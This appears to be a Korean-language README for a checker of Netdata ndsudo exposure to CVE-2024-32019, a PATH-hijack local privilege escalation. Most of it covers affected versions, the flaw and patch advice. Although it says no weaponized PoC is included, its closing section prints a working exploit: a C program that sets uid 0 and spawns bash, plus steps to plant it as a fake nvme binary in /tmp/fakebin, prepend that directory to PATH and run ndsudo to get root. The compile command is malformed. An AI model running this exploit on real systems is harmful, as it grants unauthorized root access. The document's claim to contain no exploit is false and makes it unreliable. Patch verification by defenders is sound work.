
Netdata ndsudo SUID PATH 권한 상승 노출을 CVE-2024-32019에 대해 점검하고 무기화된 익스플로잇 없이 패치를 검증합니다.
ndsudo 로컬 권한 상승Netdata의 ndsudo 헬퍼(setuid root로 설치됨)는 실행할 명령을 제한하지만, 호출자의 PATH를 사용하여 해당 명령을 해석합니다. 영향을 받는 버전에서는 로컬 사용자가 PATH의 앞쪽에 악성 바이너리를 배치하여 ndsudo가 이를 root 권한으로 실행하도록 할 수 있습니다. Netdata 1.45.3 및 1.45.0-169에서 패치되었습니다.
영향받음: >= 1.44.0-60, < 1.45.0-169 및 >= 1.45.0, < 1.45.3 (업스트림 권고 기준).
수정됨: 1.45.3 (stable), 1.45.0-169 (nightly). GitHub
ndsudo가 SUID로 설치되어 있고 사용자가 이를 호출할 수 있는 시스템(일반적으로 netdata 그룹 구성원)에서 로컬 root 권한 상승이 가능합니다. NVDGitHub
ndsudo는 SUID-root이며 nvme-list, nvme-smart-log 등의 하위 명령을 화이트리스트로 허용합니다.
절대 경로나 안전하고 고정된 검색을 사용하는 대신, 이름으로 외부 실행 파일(예: nvme)을 호출하며 이는 **PATH**를 통해 해석됩니다.
쓰기 가능한 디렉터리가 시스템 경로보다 앞에 위치하면, 공격자는 root로 실행되는 유사 바이너리를 삽입할 수 있습니다. GitHub
이 저장소에는 다음과 같은 비-익스플로잇 검사기가 포함되어 있습니다:
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo(또는 설치된 위치)의 SUID/소유권을 검사합니다.
일반적인 시스템 경로보다 앞에 있는 쓰기 가능한 디렉터리를 PATH에서 열거합니다.
ndsudo가 실행을 시도할 수 있는 화이트리스트 하위 명령 이름의 존재를 확인합니다.
선택적으로 ndsudo --test <subcommand>를 실행하여 실행하지 않고 해석된 명령을 출력합니다 (주의해서 사용하고, 먼저 코드를 읽으십시오). GitHub
⚠️ 무기화된 PoC는 포함되어 있지 않습니다. 이 프로젝트는 방어자와 연구자가 책임감 있게 노출을 평가하고 패치를 검증하기 위한 것입니다.
Netdata를 1.45.3 (stable) 또는 1.45.0-169 (nightly)로 업그레이드하십시오.
심층 방어 조치로, SUID 헬퍼에서는 절대 경로 또는 정제된 최소 PATH를 선호하고, 불필요한 ndsudo 접근 권한을 부여하지 마십시오. GitHubwiz.io
nvme.c로 저장합니다:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATH 수정export PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata 권고 (GHSA-pmhq-4cxq-wj93). GitHub
Wiz 요약. wiz.io
Snyk 분석. Vulnerability Guide
MITRE/CVE 목록. CVE